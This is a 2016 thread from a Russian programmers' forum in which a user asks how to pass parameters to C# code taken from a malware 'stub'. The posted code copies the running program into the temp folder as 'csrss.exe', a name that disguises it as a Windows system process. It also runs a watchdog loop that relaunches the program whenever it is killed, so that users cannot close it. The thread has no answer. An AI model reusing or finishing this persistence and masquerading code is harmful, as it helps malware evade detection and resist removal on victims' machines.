Форум программистов
 
Контакты: о проблемах с регистрацией, почтой и по другим вопросам пишите сюда - alarforum@yandex.ru, проверяйте папку спам! Обязательно пройдите активизацию e-mail.

Вернуться   Форум программистов > .NET > Общие вопросы .NET
Регистрация

Восстановить пароль
Повторная активизация e-mail

Ответ
 
Опции темы
Старый 19.05.2016, 11:19   #1
ShadowInject
Пользователь
 
Регистрация: 08.11.2014
Сообщений: 37
Репутация: 10
По умолчанию Передать нужный параметр

Нашел в чужом сорсе функцию, которая защищает процес от закрытия пользователем. Но так как сорсы так называемомго стаба, то не могу понять какой параметр передать нужно. Может кто-то догадается )
Код:

int handle = Process.GetCurrentProcess().Id;
if(GetSetting<bool>("ProcessPersistence") || GetSetting<bool>("StartupPersistence"))
                    {
                        try
                        {
                            File.Copy(Application.ExecutablePath, Path.GetTempPath() + "csrss.exe", true);
                            Process.Start(Path.GetTempPath() + "csrss.exe", (GetSetting<bool>("ProcessPersistence") ? "-p " + """ + Application.ExecutablePath + "" " + handle.ToString() + " ": "") + (GetSetting<bool>("StartupPersistence") ? "-s" : ""));
                        }
                        catch { }
                    }

Сама функция
Код:

private static void ProcessPersistance(string path, int handle)
        {
            new Thread(new ThreadStart(delegate ()
            {
                while (true)
                {
                    bool ok = false;
                    foreach (Process p in Process.GetProcesses())
                        try
                        {
                            if (p.Id == handle)
                            {
                                ok = true;
                                break;
                            }
                        }
                        catch { }
                    if (ok)
                        Thread.Sleep(500);
                    else
                    {
                        Process.Start(path);
                        Environment.Exit(0);
                    }
                }
            })).Start();
        }

ShadowInject вне форума   Ответить с цитированием
Старый 24.05.2016, 11:17   #2
ShadowInject
Пользователь
 
Регистрация: 08.11.2014
Сообщений: 37
Репутация: 10
По умолчанию

Может есть какие соображения в какую сторону копать ?
ShadowInject вне форума   Ответить с цитированием
Ответ

Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Передать параметр в XML через ActionScript, Flash Le0n4iko_o Общие вопросы Web 5 08.07.2014 01:31
Как передать параметр в выборку Predator199 PHP 10 02.07.2012 19:30
передать параметр NiCola999 JavaScript, Ajax 1 11.02.2011 08:43
Передать параметр в процедуру VistaSV30 Microsoft Office Access 2 18.12.2009 21:45
Как передать параметр? Иллидан Общие вопросы Delphi 8 12.07.2008 12:57


07:53.


Powered by vBulletin® Version 3.8.8 Beta 2
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd.

RusProfile.ru


Справочник российских юридических лиц и организаций.
Проекты отопления, пеллетные котлы, бойлеры, радиаторы
интернет магазин respective.ru